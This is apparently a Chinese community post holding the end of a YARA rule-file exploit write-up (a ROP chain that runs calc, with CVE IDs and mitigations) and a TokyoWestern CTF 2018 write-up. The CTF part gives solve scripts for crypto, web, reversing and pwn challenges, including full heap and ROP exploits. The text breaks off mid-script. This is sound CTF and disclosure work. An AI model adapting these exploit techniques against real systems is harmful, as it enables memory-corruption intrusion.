由于调用约定，我可以在ROP启动之前使用正确的参数设置堆栈的某些部分。
即时值很容易，字节码可以使用OP_POP_M将它们写入真正的堆栈。但是，在这种情况下，我还需要知道三个字符串的地址：
1. L”kernel32” for GetModuleHandleExW
2. “WinExec” for GetProcAddress
3. “calc” for WinExec
## YARA的搬迁到救援
文件格式中有一个令人讨厌的小特性-重新定位表。可以利用它将字节码操作数从相对文件偏移量重新定位到绝对地址。
我所需要做的就是将字符串的偏移量作为我的原始值，并将字符串转储到文件中的某个位置(我选择在代码的最后一条指令-OP_HALT之后将它们放在正确的位置)。
## 沉默而致命
为了使事情简单(并允许我将整个ROP放在9个连续的QWORDS中)，YARA在默认情况下用TRY/CATCH包装整个函数。一旦WinExec返回，它将跳转到堆栈中的某个地址(具有讽刺意味的是，它将跳转到context->objects_table)并静默地退出：
YR_TRYCATCH(
!(flags & SCAN_FLAGS_NO_TRYCATCH), /* <-- this flag is not set */
{
result = yr_execute_code(
rules,
&context,
timeout,
start_time);
},{
result = ERROR_COULD_NOT_MAP_FILE;
});
## 小工具
我亲手挑选了这些[小玩意](https://github.com/bnbdr/swisscheese/blob/master/gadgets.md)，以适应我的PoC。我用过不止一次。这些文件中的某些部分需要更改yarasm文件中的值。
## Attack vector
任何允许运行用户提供的规则文件而不验证它不是二进制规则的受害者或服务。无论是否扫描目标文件这应该都可以工作。
## 措施
* 检查对Scratch内存的每一次访问
* 需要一个显式标志来加载并运行编译后的规则
* 检查每个重新定位的地址是否在加载的文件中
* 使加载的文件成为只读的
## CVE
这两个漏洞分别被指定为CVE-ID CVE-2018-12034和CVE-2018-12035。
## 注意
* 这项研究是在32位YARA 3.7.1上完成的，在正式发布页面的二进制文件上进行了测试
* 这是在发布之前私下披露的
* 这是我在业余时间所做的事情，不要对我进行评判。 | 社区文章 |
# TokyoWestern CTF WriteUp by r3kapig
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次比赛由于我们队部分队员在新加坡，所以我们本来是打算随便玩玩的。然后玩着玩着我们就打到第四名了。战队目前正在招募队员，欢迎想与我们一起玩的同学加入我们，尤其是熟悉密码学或浏览器利用的大佬。给大家递茶。
## scs7 | Crypto
思路：不知道加密方式，但是可以确定，明文正确的话，对应的密文前面是正确的，因此逐位爆破，并设立一个评分机制，每次选最高的，如果碰到评分一样的，那么全部进入下一分支，找后续一位评分最高的。
from zio import *
target=("crypto.chal.ctf.westerns.tokyo",14791)
def cr(io,m):
io.read_until("message: ")
io.writeline(m)
io.read_until(": ")
c=io.read_until("n")[:-1]
return c
def score(get_c,c):
score=0
for i in range(len(get_c)):
if get_c[i]!=c[i]:
return score
else:
score+=1
return score
import string
def guess_(i,pre):
io = zio(target, timeout=10000, print_read=COLORED(NONE, 'red'),
print_write=COLORED(NONE, 'green'))
io.read_until("encrypted flag: ")
c = io.read_until("n")[:-1]
max_score=0
max_value=[]
for g in string.printable:
get_c=cr(io,pre+g+"a"*(47-len(pre+g)))
tmp_score=score(get_c,c)
#print g,tmp_score
if tmp_score>max_score:
max_score=tmp_score
max_value=[g]
elif tmp_score==max_score:
max_value.append(g)
return max_value,max_score
import time
def guess(i,pre=""):
print "guess work with pre-str:",pre
while 1:
try:
return guess_(i,pre)
except Exception,e:
print e
time.sleep(2)
pre="TWCTF{67ced"
last_already_calc=0
last_max_value=0
last_max_score=[]
for i in range(47):
if last_already_calc==0:
max_value,max_score=guess(i,pre)
else:
max_value, max_score=last_max_value,last_max_score
last_already_calc=0
if len(max_value)==1:
pre=pre+max_value[0]
print "succuess:",pre
continue
else:
tmp_max_score=0
tmp_max_value=[]
tmp_chosen_value=0
print "guess",max_value
for multi_value in max_value:
tmp_value,tmp_score=guess(i,pre+multi_value)
if tmp_score>tmp_max_score:
tmp_max_score=tmp_score
tmp_max_value=tmp_value
tmp_chosen_value=multi_value
pre=pre+tmp_chosen_value
print "succuess:", pre
last_max_score=tmp_max_score
last_max_value=tmp_max_value
last_already_calc=1
print pre
## rsa | Crypto
n=0x8529063EA0AD3B46296F92F72356772EA4E703F7B79220C18DE1B7E3CA0A7728D19E69DC48B8685CD604F5887A4F8F3A945A1CA1593CF086D348EC4DC92142083FC9E2203C6530311EE510BE50A42AEE4A63E7FA66BFCE3512FC2FB117402A55CDF0897770C1BB86F2D9306DA5B899D294EDBCB17AD87E17592CCC3F62B1305724181732AC7474CF23BEB722833373EF07B6A92188CF28BCFEF26B2368ADA38F7F4FD8921DBE3B6488E4B92028FFBD46AE26D8B43C9A86DBBC63F0B51398BB54098FF7004B646AFB42F24354AB6A2D30EFEEE8B333473ABE1CC92EB68A465819D9E9A0FF58FEAF2C722AE65B7CEDC9E30BE915029D69342523B981AD8395CDF7
e=0x10001
数论题，推理如下
eq = 1 mod p
有：
p | eq-1
同时乘q，即：
n | (eq-1)q
所以：
eq^2-q－kn=0
delta=1-4 _e_ (-kn)=1+4ken
q=（1+sqrt(delta)）/（2e）
思路：转化到上式后，利用求根公式，delta需要为完全平方数，爆破k，直到得到一个完全平方数为止，测试是否为q，分解n，解密c
最终得到：
delta=15437412055699760033228916416773388687758495883388405427219519968006361800232351092586513254042697417365303248564432783709932135844205171385876634738995524060511238569866876444551767422579436935801803651623293057191182325987659215635528040854348013316932722970176956521681782203617683425665727504728779196852929921
q=117776309990537864360810812340917258096636219871129327152749744175094693075913995854147376703562090249517854407162616412941789644355136574651545193852293544566513866746012759544621873312628262933928953504305148673201262843795559879423287920215664535429854303448257904097546288383796049755601625835244054479553
脚本1: 爆破delta
n=0x8529063EA0AD3B46296F92F72356772EA4E703F7B79220C18DE1B7E3CA0A7728D19E69DC48B8685CD604F5887A4F8F3A945A1CA1593CF086D348EC4DC92142083FC9E2203C6530311EE510BE50A42AEE4A63E7FA66BFCE3512FC2FB117402A55CDF0897770C1BB86F2D9306DA5B899D294EDBCB17AD87E17592CCC3F62B1305724181732AC7474CF23BEB722833373EF07B6A92188CF28BCFEF26B2368ADA38F7F4FD8921DBE3B6488E4B92028FFBD46AE26D8B43C9A86DBBC63F0B51398BB54098FF7004B646AFB42F24354AB6A2D30EFEEE8B333473ABE1CC92EB68A465819D9E9A0FF58FEAF2C722AE65B7CEDC9E30BE915029D69342523B981AD8395CDF7
e=0x10001
import primefac
import gmpy2
k=0
while 1:
k+=1
delta=1+4*k*e*n
if gmpy2.iroot(delta,2)[1]==True:
print k
print gmpy2.iroot(delta,2)
gmpy2.iroot(delta,2)[0]
脚本2：计算flag
n=0x8529063EA0AD3B46296F92F72356772EA4E703F7B79220C18DE1B7E3CA0A7728D19E69DC48B8685CD604F5887A4F8F3A945A1CA1593CF086D348EC4DC92142083FC9E2203C6530311EE510BE50A42AEE4A63E7FA66BFCE3512FC2FB117402A55CDF0897770C1BB86F2D9306DA5B899D294EDBCB17AD87E17592CCC3F62B1305724181732AC7474CF23BEB722833373EF07B6A92188CF28BCFEF26B2368ADA38F7F4FD8921DBE3B6488E4B92028FFBD46AE26D8B43C9A86DBBC63F0B51398BB54098FF7004B646AFB42F24354AB6A2D30EFEEE8B333473ABE1CC92EB68A465819D9E9A0FF58FEAF2C722AE65B7CEDC9E30BE915029D69342523B981AD8395CDF7
e=0x10001
sqt_delta=15437412055699760033228916416773388687758495883388405427219519968006361800232351092586513254042697417365303248564432783709932135844205171385876634738995524060511238569866876444551767422579436935801803651623293057191182325987659215635528040854348013316932722970176956521681782203617683425665727504728779196852929921
q=(1+sqt_delta)/(2*e)
import primefac
print primefac.isprime(q)
print q
p=n/q
d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
c=int(open("flag.encrypted","rb").read().encode("hex"),16)
m=pow(c,d,n)
print ("0"+hex(m)[2:-1]).decode("hex")
## mixed cipher | Crypto
rsa：n 1024bit 未知, e 65537
aes：key 16字节随机，pkcs padding，密文前16字节是iv
bulldozer
给除了最后一位外的所有位打马赛克
功能：
encrypt
输入明文，输出rsa加密和aes加密后的密文
decrypt
输入密文，输出rsa解密的明文的最后一位
print_flag
输出aes对flag加密后密文，隐藏了iv
print_key
输出rsa对aes的key的加密
每次连接，公钥和aeskey是唯一的
每次aes的iv都是不一样的
本题目分为三部解决：（俄罗斯套娃）
1 算n
因为可以随意加解密，所以利用整除性质可以算n
x^e =c mod n
所以 n | x^e -c
构造足够多的x，然后可以知道些许右边，求最大公约数，即可得到n
2 RSA parity oracle
<https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_cipher/>
rsa的选择密文攻击，通过选择密文攻击可以得到被rsa加密的aes的key
3 伪随机数攻击
<https://ddaa.tw/30c3ctf_2013_number_100_guess.html>
知道key了后，利用生成iv时的伪随机数函数，收集足够多的密钥量后，可以预测iv
整体代码如下：
主题代码部分：
from zio import *
import primefac
from Crypto.Util.number import long_to_bytes,bytes_to_long
target=("crypto.chal.ctf.westerns.tokyo",5643)
e=65537
def get_enc_key(io):
io.read_until("4: get encrypted keyn")
io.writeline("4")
io.read_until("here is encrypted key :)n")
c=int(io.readline()[:-1],16)
return c
def encrypt_io(io,p):
io.read_until("4: get encrypted keyn")
io.writeline("1")
io.read_until("input plain text: ")
io.writeline(p)
io.read_until("RSA: ")
rsa_c=int(io.readline()[:-1],16)
io.read_until("AES: ")
aes_c=io.readline()[:-1].decode("hex")
return rsa_c,aes_c
def decrypt_io(io,c):
io.read_until("4: get encrypted keyn")
io.writeline("2")
io.read_until("input hexencoded cipher text: ")
io.writeline(long_to_bytes(c).encode("hex"))
io.read_until("RSA: ")
return io.read_line()[:-1].decode("hex")
def get_n(io):
rsa_c,aes_c=encrypt_io(io,long_to_bytes(2))
n=pow(2,65537)-rsa_c
for i in range(3,6):
rsa_c, aes_c = encrypt_io(io, long_to_bytes(i))
n=primefac.gcd(n,pow(i,65537)-rsa_c)
return n
def check_n(io,n):
rsa_c, aes_c = encrypt_io(io, "123")
if pow(bytes_to_long("123"), e, n)==rsa_c:
return True
else:
return False
import gmpy2
def guess_m(io,n,c):
k=1
lb=0
ub=n
while ub!=lb:
print lb,ub
tmp = c * gmpy2.powmod(2, k*e, n) % n
if ord(decrypt_io(io,tmp)[-1])%2==1:
lb = (lb + ub) / 2
else:
ub = (lb + ub) / 2
k+=1
print ub,len(long_to_bytes(ub))
return ub
io = zio(target, timeout=10000, print_read=COLORED(NONE, 'red'),print_write=COLORED(NONE, 'green'))
n=get_n(io)
print check_n(io,n)
c=get_enc_key(io)
print len(decrypt_io(io,c))==16
m=guess_m(io,n,c)
for i in range(m - 50000,m+50000):
if pow(i,e,n)==c:
aeskey=i
print long_to_bytes(aeskey)[-1]==decrypt_io(io,c)[-1]
print "found aes key",hex(aeskey)
import fuck_r
next_iv=fuck_r.get_state(io)
print "##########################################"
print next_iv
print aeskey
io.interact()
算随机数的python lib和java lib
from Crypto.Util.number import long_to_bytes,bytes_to_long
def encrypt_io(io,p):
io.read_until("4: get encrypted keyn")
io.writeline("1")
io.read_until("input plain text: ")
io.writeline(p)
io.read_until("RSA: ")
rsa_c=int(io.readline()[:-1],16)
io.read_until("AES: ")
aes_c=io.readline()[:-1].decode("hex")
return rsa_c,aes_c
import subprocess
import random
def get_iv(io):
rsa_c, aes_c=encrypt_io(io,"1")
return bytes_to_long(aes_c[0:16])
def splitInto32(w128):
w1 = w128 & (2**32-1)
w2 = (w128 >> 32) & (2**32-1)
w3 = (w128 >> 64) & (2**32-1)
w4 = (w128 >> 96)
return w1,w2,w3,w4
def sign(iv):
# converts a 32 bit uint to a 32 bit signed int
if(iv&0x80000000):
iv = -0x100000000 + iv
return iv
def get_state(io):
numbers=[]
for i in range(156):
print i
numbers.append(get_iv(io))
observedNums = [sign(w) for n in numbers for w in splitInto32(n)]
o = subprocess.check_output(["java", "Main"] + map(str, observedNums))
stateList = [int(s) % (2 ** 32) for s in o.split()]
r = random.Random()
state = (3, tuple(stateList + [624]), None)
r.setstate(state)
return r.getrandbits(128)
'''
target=("crypto.chal.ctf.westerns.tokyo",5643)
io = zio(target, timeout=10000, print_read=COLORED(NONE, 'red'),print_write=COLORED(NONE, 'green'))
print get_state(io)
print get_iv(io)
io.interact()'''
public class Main {
static int[] state;
static int currentIndex;
public static void main(String[] args) {
state = new int[624];
currentIndex = 0;
// initialize(0);
// for (int i = 0; i < 5; i++) {
// System.out.println(state[i]);
// }
// for (int i = 0; i < 5; i++) {
// System.out.println(nextNumber());
// }
if (args.length != 624) {
System.err.println("must be 624 args");
System.exit(1);
}
int[] arr = new int[624];
for (int i = 0; i < args.length; i++) {
arr[i] = Integer.parseInt(args[i]);
}
// int[] arr = new int[] {-668203059, 1654615998, -1039577940, -471398782, 1806341205, 173879092, 1112038970, -148327174, -2099059102, 2087043557, 1739178872, -351180877, -928577991, -730776224, 1302718217, -138297977, 2046968324, 1537810351, -1789360513, -465313928, -394652141, 938204377, -2127353738, 598176026, 1210484339, 600203567, -1048812935, 407295012, -1639092676, -861559391, 1075916535, -54721341, -387636886, -2007623918, -73935819, -1266275551, -815110754, -1709817594, -420194037, 631194409, 1332073689, 424185324, -1160363781, 316721330, -434486244, -642210028, -1357278678, 1418186270, 2027837527, -1890585826, 432508404, 1519522183, 1864753826, 1358054485, -1671227719, -1544369729, -373614660, 878225224, -143424575, -1921896188, 2048741382, 1901353491, -578489442, -2055770470, 1118805955, 267488770, -837399110, -350190618, -1938321754, -360800951, 60308648, 400599612, -1203859220, -686802991, 1712934065, -1244452074, -752285108, -923212848, -1425271167, -1609471003, 4908357, -1666889315, 2119900799, -738462598, -568641750, 1430804514, 1047589226, -1158444678, 1396742090, -1272845589, -556321816, 270515404, 820626892, -356400817, -1857527217, 952210990, 1024847607, -844626580, -139413550, 612008755, -845337731, -1962843199, 1924014660, 391769539, 345512145, -29113186, 1374624034, -536496032, -2113378858, -8711794, -288476533, 2101470722, 468399889, 1294704107, -1927292489, 1250224899, -1260309123, 536057929, -1943726486, 1429152570, -796858770, -333934853, -1974466879, 872745308, -155312270, -861454009, -1704304750, -1944631897, -1771171209, 1235478542, 1911213317, 393556845, -1733934739, -867862495, 1653137829, 1361705852, -1822565006, 1039842312, 1246955724, 789710164, 813429542, -766792476, 801997237, 141615452, -1663126554, -80317000, -1474636681, 1116932915, 2046685052, 296718909, 385792672, -1379870086, -1041083208, 559309739, -529267221, 642313784, -329076024, 165964262, -676628184, 344663896, -437343114, -1291398744, -330358405, -732889526, -1973108295, -1359364085, 1680603714, -696363523, -1265798159, -2041939376, 1183839549, -2053895897, -809048539, 1011472239, -646452845, 924282500, -450804218, -1376647162, -1761790512, -750488432, -215758220, 1801409089, -1805196174, 1182021441, 1935153793, 2115938757, -1459234992, -1541047910, -16072463, -1287521587, -356734768, -75332083, -887661990, 1534881946, 353789296, 1392964597, -1663083898, 495423391, 2089261940, -1773500660, -1588505081, 1439975734, -665386750, 817670926, 1043830061, 69617246, -1153245006, 1164099199, 503087954, -1265584632, 946870804, 1597986360, -882259400, 732213632, 1428231901, 1830219288, -790647229, 267114565, 432105997, -931498909, 628604922, -621384609, -1298494714, 939625287, 194278833, -785462332, -1830231447, -1571071491, -386478286, -272645730, -2000604499, -1708664744, -1371859220, 317814271, 114661864, 534481714, -1567663440, 809689893, -1690763648, -729774497, -1821268193, 514088150, 1680231637, 393126321, 1589738942, -713632747, -83680351, 498414388, 156302611, -1694346684, 92928119, 835761764, -167369407, -125877251, 794448426, -1210694021, 532125690, 2058292873, 904419226, -1171859375, -855786853, 262357606, -270715400, -1377193292, 97850419, -1957493987, 1828018965, -1629510694, 435940125, -704792726, 1116347426, 300666185, 948454521, 309116047, -1516442472, 1293049471, 1504501144, 1872900585, 774459493, 262175295, -2131864978, 2006313350, 169130250, -1733084050, 433453424, -1291397376, -50529663, 1680518472, 856226606, 1117263813, 1539983294, -410604745, -1152776501, 2019563010, -694382142, -419600152, -350116874, -1847830033, 727673138, -1298381187, -1405998062, 873659410, -143671368, -999231257, 249326891, -907748686, -1390702752, 679500893, -663896303, 695587449, 1470221169, -2020892821, 1076693935, 503425332, -1731767803, -337505432, 1899724293, -1436212053, 750843993, 56709708, 2025615733, -1368889078, 1760530271, -429075602, -1850646691, -537709749, -2110546397, -354287010, 1337650368, -1507819197, 1533954791, 1669205724, -697239960, -1470527220, 1077747587, 658902818, -1887207689, -1327906134, 53413578, 1966898329, -1109929573, 339619332, 1442750606, -1120917222, 196264944, -1957132854, 1206384019, 579123108, 1031352225, -1021486441, -201307945, 2069431579, 1512797275, -1674454606, 1236426221, -1402721460, 1542757380, -1759743955, -228037718, -464098948, -1573040995, -628034252, -1627462556, 568414356, -1221405585, 1332717957, 1666521335, -1080244923, 1779911708, -734856997, -1499661435, 346703132, 6546479, -1741278839, 825963191, -1294577489, 1436244341, 687537412, 1028283729, 958197830, -1557357713, 1924726585, 1626281073, -1244037385, -535052464, -1401124861, -1854775542, -538856697, 1779861933, 135486808, 1727723913, -551095017, -1280632020, -1857692155, 1796269370, -978454911, -1450857631, -1249809548, 200917231, 711568583, 1912773091, 274389611, 1113371136, -1281978281, 677258676, 1917121846, -2029057972, -494155265, 2092789797, -394965805, -1883751509, -1700904176, -1050184897, 297036, -498752416, 167117967, 2124216399, 1399918423, 1340279962, -696914953, 2005286885, 214134156, -820141808, -761412129, -536800795, -110909457, -805671715, 1783001626, 807459420, -1938911177, -2489546, -158751579, -1575871803, -92033628, 358488241, -698153827, -1178735059, 560586626, -56601290, 63261809, 1725790100, -216691700, -1380767541, 1793084754, 1357970475, 14572021, 917081460, 61380729, -1214083574, -1053324315, 10125659, -84848613, -761362797, -1392592053, -2025738607, -1666181183, 419980565, 818019178, 510688338, -1682082547, -1506393508, 852621339, -542652691, 1298867023, 1202516726, -1337710518, -92276545, 782633881, 430272795, 2042709959, -627331049, -331701484, 1703797118, -1599277879, 349375932, 93825718, 1179886944, -369877824, 1945526488, -859746991, -891886316, 497268706, -595454681, 1101610896, 573036909, -1487918463, -2057866902, -784805552, -1499874592, -1524968205, 1490581366, 494390848, -550340611, 663315337, 1195761054, -638920410, 79776130, 181666837, 174647438, 883628285, -1370108417, 1115271501, -1896847660, 1351683036, -229769768, 1575796842, -264403350, -1857711698, -387186253, -646659770, 180408077, -659879120, -1077457751, -166632242, -1282800133, -1685360223, -1480209529, 2123799795, -1235414490, -1528392247, -417856734, 1969948437, -1545581765, 1870203225, 1599657397, -552286702, -1984580760, 765742497, 892683641, 1613099182, -1773282441, 1249987923, 38212703, 594668076, 648639589, 1165540019, 1431978117, 1449598999, -903561651, 1577118317, -1209035748, 402470710, 1452798332, -947397125, -1629776398, 153182031, 176965319, 1158018294, 703775687, 641736990, -77678490, -1789063561, 1243525559, 1550082102, 1695618646, -45943145, -1939245169, 556803596, 1260173501, 493476348, 2053272110, -1157400341, 1029529788, -284524051, 207259503, 1322333523, 771319623, -614023206, -2048483671, -1165393187, 304353766, 1299960583, 1731598297, -706265537, 1410985724, 1285163745, 1781215744, 466654280, 426921187, -1886220859, -392312811, 2066619266, 2035834473, 1447749897, -683551223, -868123012, -102093724, -806042261, 1475972382, 533970967, 2057660952, 498250834, -1290228404, 2137753491, 1831955274, 162454480, 1296664028, 1439165853, -1139235829, -1343850230, -453549474, 668572195, -344933787, 715353335, -1603130720, -1870512422, 1613066649, -832714745, -109261737, -36508294, -1551004932, 373326185, 282757781, -825610525, 363653025, 850576530, -1074302002, 949439989, 262663685, 1652754537, 33719836, 421235423, 1691392275, -1904927049};
rev(arr);
for (int i = 0; i < 624; i++) {
System.out.println(state[i]);
}
// System.out.println("currentIndex " + currentIndex);
// System.out.println("state[currentIndex] " + state[currentIndex]);
// System.out.println("next " + nextNumber());
// want -2065863258
}
static void nextState() {
// Iterate through the state
for (int i = 0; i < 624; i++) {
// y is the first bit of the current number,
// and the last 31 bits of the next number
int y = (state[i] & 0x80000000)
+ (state[(i + 1) % 624] & 0x7fffffff);
// first bitshift y by 1 to the right
int next = y >>> 1;
// xor it with the 397th next number
next ^= state[(i + 397) % 624];
// if y is odd, xor with magic number
if ((y & 1L) == 1L) {
next ^= 0x9908b0df;
}
// now we have the result
state[i] = next;
}
}
static int nextNumber() {
currentIndex++;
int tmp = state[currentIndex];
tmp ^= (tmp >>> 11);
tmp ^= (tmp << 7) & 0x9d2c5680;
tmp ^= (tmp << 15) & 0xefc60000;
tmp ^= (tmp >>> 18);
return tmp;
}
static void initialize(int seed) {
// http://code.activestate.com/recipes/578056-mersenne-twister/
// global MT
// global bitmask_1
// MT[0] = seed
// for i in xrange(1,624):
// MT[i] = ((1812433253 * MT[i-1]) ^ ((MT[i-1] >> 30) + i)) & bitmask_1
// copied Python 2.7's impl (probably uint problems)
state[0] = seed;
for (int i = 1; i < 624; i++) {
state[i] = ((1812433253 * state[i - 1]) ^ ((state[i - 1] >> 30) + i)) & 0xffffffff;
}
}
static int unBitshiftRightXor(int value, int shift) {
// we part of the value we are up to (with a width of shift bits)
int i = 0;
// we accumulate the result here
int result = 0;
// iterate until we've done the full 32 bits
while (i * shift < 32) {
// create a mask for this part
int partMask = (-1 << (32 - shift)) >>> (shift * i);
// obtain the part
int part = value & partMask;
// unapply the xor from the next part of the integer
value ^= part >>> shift;
// add the part to the result
result |= part;
i++;
}
return result;
}
static int unBitshiftLeftXor(int value, int shift, int mask) {
// we part of the value we are up to (with a width of shift bits)
int i = 0;
// we accumulate the result here
int result = 0;
// iterate until we've done the full 32 bits
while (i * shift < 32) {
// create a mask for this part
int partMask = (-1 >>> (32 - shift)) << (shift * i);
// obtain the part
int part = value & partMask;
// unapply the xor from the next part of the integer
value ^= (part << shift) & mask;
// add the part to the result
result |= part;
i++;
}
return result;
}
static void rev(int[] nums) {
for (int i = 0; i < 624; i++) {
int value = nums[i];
value = unBitshiftRightXor(value, 18);
value = unBitshiftLeftXor(value, 15, 0xefc60000);
value = unBitshiftLeftXor(value, 7, 0x9d2c5680);
value = unBitshiftRightXor(value, 11);
state[i] = value;
}
}
}
计算最终结果：
from Crypto.Util.number import long_to_bytes
c="232323232323232323232323232323236ac90897e6138c3ffde3666669fdca767a03e4b5e44f309fa322df4d4a27dbaae7a5b335be00e82a4150a18fb461adfd39e4c7e9bb00ba6edb59a1f37dda3f28".decode("hex")
iv=long_to_bytes(83345920849977169166026104781978405220)
key=long_to_bytes(102748041203696210196740355202977186893)
from Crypto.Cipher import AES
aes = AES.new(key, AES.MODE_CBC,iv)
print aes.decrypt(c[16:])
心得：本题还是学了不少，但是此类俄罗斯套娃题花费精力太多，实在是无语
## Simple auth | web
parse_url解析造成的未初始化变量赋值漏洞，通过parse_url直接解析出hashed_password变量。
[http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e](http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e)
## tw playing card | reverse
整个binary是一个nimlang写的扑克游戏，主逻从NimMainModule_402010开始
sub_401AA0是游戏的逻辑，lucky_enough_4017B0这个函数会检查你手里的牌是不是他要的
v23 = lucky_enough_4017B0(player_cards);
v24 = print_40BDA0((signed __int64 *)&ending_410CA0);
ending = v24;
if ( v23 )
{
v28 = sub_410960(ciphernimstr_6152C8, player_cards_packages_6152C0);
ending = sub_40E170(ending, *v28);
memcpy((char *)ending + *ending + 16, v28 + 2, *v28 + 1);
*ending += *v28;
LABEL_20:
v26 = (const char *)(ending + 2);
}
else
{
if ( v24 )
goto LABEL_20;
v26 = (const char *)&unk_410C84;
}
如果你手里的牌是他要的，ending这个最终输出会和sub_410960这里的加密结果合并（字符串加），并打印出来，后面的分析基于我们在程序运行过程中patch了手牌
sub_410960会调用tea_like_410800进行xxtea加密，通过调试发现，这个函数的两个参数，不随着我们开头输入的name而改变（应该就是sub_410960的两个参数，当时太困了，没有考证），即输入输出全部来自程序本身，值得注意的是0x6152c8这个nim数组来自于另一个常量异或加密0x20（NimMainModule_402010、ciphermaybe_4113A0），这样的话我们将这段内存patch成它的异或0x20结果
手牌和初始密文都被patch后，直接运行binary，程序会在游戏结束时为我们输出解密了的flag
## Swap Return | Pwn
1. 把printf和atoi交换以后可以leak出stack的地址，
2. 通过partialoverwrite来覆盖setvbuf来得到gets的地址。
3. 把stack_check_failed改成ret
4. 把atoi换成gets
5. ROP
from pwn import *
local=1
pc='/tmp/pwn/swap_returns_debug'
remote_addr="swap.chal.ctf.westerns.tokyo"
remote_port=37567
aslr=False
libc=ELF('./libc.so.6')
#libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
#context.log_level=True
if local==1:
p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
gdb.attach(p,'c')
else:
p=remote(remote_addr,remote_port)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))
def raddr(a=6):
if(a==0):
return u64(rv(a).ljust(8,'x00'))
else:
return u64(rl().strip('n').ljust(8,'x00'))
def set_addr(addr1,addr2):
sla("choice:",'1')
sla("address:",str(addr1))
sla("address:",str(addr2))
def sw():
sla("choice:",'2')
fuck=0x601500
save=0x601700
zero=0x601800
def make_byte(bt):
global fuck
global save
global zero
i=0
for k in range(len(bt)):
byte=u8(bt[i])
set_addr(fuck+byte,stack_addr)
sw()
set_addr(fuck+byte+1,zero)
sw()
set_addr(fuck+byte,save+i)
sw()
i+=1
zero+=8
if __name__ == '__main__':
sla("choice:",'9')
rl()
atoi=0x601050
printf=0x0601038
stack_check_failed=0x601030
setvbuf=0x601048
bss=0x601100
set_addr(atoi,printf)
sw()
sa("choice:",'%x')
rv(8)
stack_addr=int('7fff'+rv(8),16)-6+0x30
lg('stack_addr',stack_addr)
sa("choice:",'ax00')
sla("address:",str(atoi))
sla("address:",str(printf))
sa("choice:",'aa')
set_addr(bss,setvbuf)
sw()
set_addr(bss+0x100,stack_check_failed)
sw()
make_byte(p16(0x6ff0))
set_addr(bss-6,save-6)
sw()
make_byte(p16(0x8e8))
set_addr(bss+0x100-6,save-6)
sw()
set_addr(bss+0x100,stack_check_failed)
sw()
puts_plt=0x4006A0
poprdiret=0x0400a53
puts_got=0x601028
poprbpret=0x0000000000400760
leaveret=0x4008E7
payload='A'*22+p64(poprbpret)+p64(save-8)+p64(leaveret)
payload2=p64(poprdiret)+p64(puts_got)+p64(puts_plt)+p64(0x40088E)
make_byte(payload2)
set_addr(bss,atoi)
sw()
sla("choice:",payload)
ru(": n")
puts_addr=raddr(6)
lg("puts addr",puts_addr)
libc.address=puts_addr-libc.symbols['puts']
one_shot=libc.address+0x4557a
sl(cyclic(20)+p64(one_shot))
p.interactive()
## BBQ| Pwn
逻辑很简单，主要是在eat函数有一个ptr未初始化的bug
所以利用步骤是
1. 利用ptr未初始化leak出堆地址。然后结合buy的输入，可以做到任意地址free
2. 伪造一个fake的non-fastbin chunk，free，leak出libc的地址
3. 在malloc_hook附件伪造一个0x21的size
4. 在main_arean那里伪造一个Food struct，使得food的amount对于fastbin[0]的fd，这样我们就可以通过修改amount来让fastbin的fd指向malloc_hook伪造0x21处
5. fastbin attack来修改malloc_hook，再用one gadget
英文版的wp可以访问<https://changochen.github.io/2018/09/01/Tokyo-Western_CTF-2018/>
from pwn import *
local=0
pc='/tmp/pwn/BBQ_debug'
remote_addr="pwn1.chal.ctf.westerns.tokyo"
remote_port=21638
aslr=True
libc=ELF('./libc.so.6')
#libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
context.log_level=True
if local==1:
#p = process(pc,aslr=aslr)
p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
gdb.attach(p,'c')
else:
p=remote(remote_addr,remote_port)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))
def raddr(a=6):
if(a!=0):
return u64(rv(a).ljust(8,'x00'))
else:
return u64(rl().strip('n').ljust(8,'x00'))
def choice(idx):
sla("Choice: ",str(idx))
def buy(name,amount):
choice(1)
sla(">> ",name)
sla(">> ",str(amount))
def grill(name,idx):
choice(2)
sla(">> ",name)
sla(">> ",str(idx))
def eat(idx):
choice(3)
sla(">> ",str(idx))
if __name__ == '__main__':
name='x'*0x10+p64(0xDEADBEEF11)[:5]
buy('A'*(62-0x20),123)
buy(p64(0xDEADBEEF11),0xe1)
buy(name,123)
grill(name,0)
grill(name,1)
eat(0)
eat(1)
buy('C'*39,123)
eat(5)
choice(1)
ru("* ")
ru("* ")
heap_addr=raddr(6)-0x110
lg("heap_addr",heap_addr)
sla(">> ","Beef")
sla(">> ",str(1))
buy('C'*40+p64(heap_addr+0xb0),123)
eat(5)
buy(p64(heap_addr+0xd0),123)
choice(1)
ru("121")
ru("* ")
libc_addr=raddr(6)-0x3c4b78
libc.address=libc_addr
lg("Libc address",libc_addr)
sla(">> ","Beef")
sla(">> ",str(1))
# create a 0x21 above malloc hook
buy(p64(libc.symbols['__malloc_hook']-0x18),123)
choice(1)
k=ru('food na').split(' ')
code=k[-3]
num=(int(k[-2].split('n')[0][1:-1]))
left=0x100000000-num-0x1
sla(">> ",code)
sla(">> ",str(0x1))
while(left>0):
if(left<0x7FFFFFFF):
buy(code,left+0x21)
break
else:
